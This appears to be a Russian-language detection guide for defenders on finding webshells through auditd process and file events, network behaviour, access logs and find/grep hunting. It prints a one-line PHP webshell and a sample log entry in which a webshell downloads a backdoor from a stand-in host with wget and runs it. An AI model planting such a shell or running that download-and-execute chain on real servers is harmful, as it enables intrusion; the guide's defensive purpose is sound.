Webshell в деталях: как искать и анализировать

Сигнатуры для SIEM, методы обнаружения веб-шелла в логах и файлах

Webshell — это вредоносный скрипт (обычно на PHP, ASP, JSP), который злоумышленник загружает на веб-сервер, чтобы получить удалённый контроль. Выглядит как обычный файл, но внутри содержит код для выполнения команд, загрузки других вредоносов или кражи данных.

Не путайте веб-шелл и обычный.

Веб-шелл - это файл, который загружается в ОС в директорию веб-приложения, доступен как веб-страничка, которая принимает команды. Выполняет эти команды процесс веб-сервиса. Часто отдает результат выполнения на той же страничке. Хотя однажды я видела шелл, который возвращал результат команды через DNS-туннель. Видимо, для большей скрытности.

Обычный шелл - это отдельный процесс, запускаемый атакующим. Может быть новым исполняемым файлом. Или реализован через nc, python, powershell или другими системными утилитами. Такие шеллы делятся на:

прямые (bind) - атакующий инициирует соединение. Сервис должен быть напрямую доступн по сети.
обратные (reverse) - соединение инициирует взломанный хост изнутри сети к управляющему серверу (C2, CnC, Command and Control), который посылает команды на исполнение. С2 обычно находится за периметром организации.

Файл wp-admin/images/logo.php с кодом <?php system($_GET['cmd']); ?> — классический webshell, маскирующийся под часть WordPress.

Обычно веб-шелл появляется на сайтах с функционалом загрузки файлов:

Уязвимые веб-приложения, CMS (WordPress, Joomla, 1C-Битрикс и другие).
Как правило через устаревшие плагины, фреймворки.

Аномальное выполнение команд от имени веб-пользователя

Webshell работает от имени пользователя веб-сервера (www-data, bitrix, confluenceи другие). Если такой пользователь внезапно запускает sh, bash, curl или wget — это красный флаг. В целом любые процессы, любые команды разведки (в частности whoami).

syscall: 59     # execve
auid in ["nginx", "apache", "www-data", "oracle", "confluence", "bitrix", "git"]

В зависимости от настроек auditd, в execve будет логироваться не имя учетной записи, а идентификатор пользователя (например, 33 вместо www-data).

При получении исполнять код атакующий получает права того пользователя, из-под которого запщуен веб-сервис. Если сервис запущет от root, то такующий сразу получит права root (uid = 0). (Ну и такой детект становится бессмысленным).

Нестандартные процессы от веб-сервера

Когда идет выполнение команд через RCE или веб-шелл, то каждая команда запускается как дочерний процесс от процесса веб-сервиса.

Это чуть менее актуально дял серверов на Linux, так как стандартный auditd логирует только PID родительского процесса, но не его имя. Поэтому надо либо дополнительно обогащать PPID именем, либо искать другой способ.

Для Windows работает отлично, так как в событии запуска процесса видено имя родительского. Это будет w3wp.exe обычно.

Зато auditd при запуске процесса (syscall execve) логирует текущую директорию. Это не самый надежный способ, так как никто не машает администратору перейти в директорию веб-сервиса, чтобы что-то настроить или отладить.

Но иногда запуск процессов из /var/www может стать неплохим индикатором пробива веб-сервиса.

Стандартные веб-директории

/var/www/html/ (Apache/Nginx)
/var/www/[site_name]/public_html/
/usr/local/apache2/htdocs/
/home/[user]/public_html/ (если сервер хостит пользовательские сайты)

В зависимости от CMS путь может отличаться.

На самом деле процессы от веб-сервера или веб-пользователя эффективны и при RCE без веб-шелла, то есть получения возможности выполнения команд через параметры без загрузки файлов.

Подозрительные файлы в веб-директориях

Веб-шелл - это про создание файла на сервере, к которому можно обращаться как странице и который. интерпретирует переданный код, чтобы он исполнился на веб-сервере.

Поэтому веб-шеллы обычно имеют специфичные расширения:

.php — WordPress, Laravel, Drupal,
- .phtml (аналог PHP).
.jsp — Java-приложения (Tomcat, JBoss)
.asp/.aspx — старые Windows-серверы (IIS)
- .ashx (ASP.NET).

Я мечтаю увидеть SIEM, который в правилах обнаружения позволит учитывать особенности ПО активов.

Если на сервере нет PHP, но вдруг появляется .php — это 100% webshell.

А еще сложно, если веб-сервер написан на java, потому что это не всегда веб-сервер, а может быть просто рабочая станция java-разработчика, для которого нормально и дочерние процессы запускать и .jsp-файлы создавать.

Веб-шеллы могут маскироваться под легитимные файлы:

image.php (в папке /uploads/)
style.aspx (вместо .css)

Поэтому мониторим syscall open/openat с открытие файла на запись. Больше тут: open/openat

На самом деле нужно следить не только за созданием файлов от веб-сервисов не только с расширениями веб-шеллов, но и любых других исполняемый файлов в подозрительных директориях (/tmp/ и других).

Сетевая активность

Есть крутой инструмент reGeorge:

GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.GitHub

Это веб-шелл и туннель с одном лице. Он не создан для того, чтобы выполнять команды на взломанном сервере. А для того, чтобы сразу проксировать трафик атакующего во внутреннюю сеть.

Так как команды не выполняются, он менее заметен для аналитика.

Помимо создания файла с подозрительным расширением, обнаружить подобное поведение можно по странной сетевой активности. Ее надо будет попрофилировать, но в целом, если процесс веб-сервера внезапно начал стучаться на ножество внутренних узлов, сканировать что-то вокруг себя, скорее всего где-то на сервере присутсвует подобный шелл-туннель.

Анализ Access-логов (HTTP-запросы к webshell)

Я не фанат Access Log для обнаружения атак на веб-приложения, для этого есть специализированные средства (WAF). Но как альтернативу использовать можно. Но надо понимать некоторые ограничения:

Access Log регистрирует не все заголовки по умолчанию, часто включают только referer и User-Agent. Это недостаточно для полного покрытия возможных способов атак.
Надо дополнительно настраивать логирование тела POST-запросов, а это сильно увеличивает объем логов.
Если веб-шелл в целях маскировки передает команды, например, base64 encoded, то Access Log не снимает кодировку, а хороший WAF может.

HTTP - это про структуру HTTP-запросов и ответов

А еще, что любой признак атаки в Access Log - это прежде всего попытка, не факт, что удачная.

Классический случай - загрузка и запуск бэкдора:

192.168.1.100 - - [15/Jul/2024:13:37:22 +0300] "GET /wp-content/uploads/temp.php?cmd=wget+http://malware.com/shell.sh+-O+/tmp/backdoor.sh%3B+chmod+777+/tmp/backdoor.sh%3B+sh+/tmp/backdoor.sh HTTP/1.1" 200 312 "-" "Mozilla/5.0 (compatible)"

wget: Скачивает вредоносный скрипт с malware.com.
chmod 777: Даёт права на выполнение.
sh /tmp/backdoor.sh: Запускает скрипт.

Провалидировать можно несколькими способами:

Создание на веб-сервере файла /tmp/backdoor.sh - syscall open.
Запуск процессов на веб-сервере wget, chmod - syscall execve Тут будут признаки описанные ранее: запуск от пользователя веб-сервиса, выполнение из директории веб-версива и от процесса веб-сервиса
Обращения к http://malware.com - резолвы DNS, соединения syscall connect (предварительно надо отрезолвить в IP). Для анализа подойдут не только логи но и любые средства анализа трафика (NTA). Если протокол HTTP (без s) - соединение не шифрованное, а значит в трафике можно поискать и извлечь содержимое скрипта backdoor.sh.

Не самое надежное, но как-то я писала правило для AF, которые по регуляркам ищет в тебе ответа содержимое типичных команд: whoami, id, ls -la и других, которые наиболее вероятно будут использовать атакующие.

Мы сразу видели удачные RCE.

Access Log больше полезен при ретроспективном расследовании. В случае с webshell полезно видеть:

С какого адреса впервые обратились к это веб-шеллу.
С каких адресов еще обращались.
На какие страницы еще ходили/обращались с этих адресов.

Поискать следы веб-шелла, если есть доступ в ОС сервера

Поиск новых/изменённых файлов (за последние 1-7 дней):
```
find /var/www/ -type f -name "*.php" -mtime -7
```
Поиск файлов с опасными функциями (exec, system, shell_exec):
```
grep -rn "system(" /var/www/
```
Проверка прав доступа (файлы с 777 или www-data:www-data):
```
find /var/www/ -perm 777 -type f
```

PreviousСистемные вызовы Unix NextHTTP

Last updated 11 days ago

Was this helpful?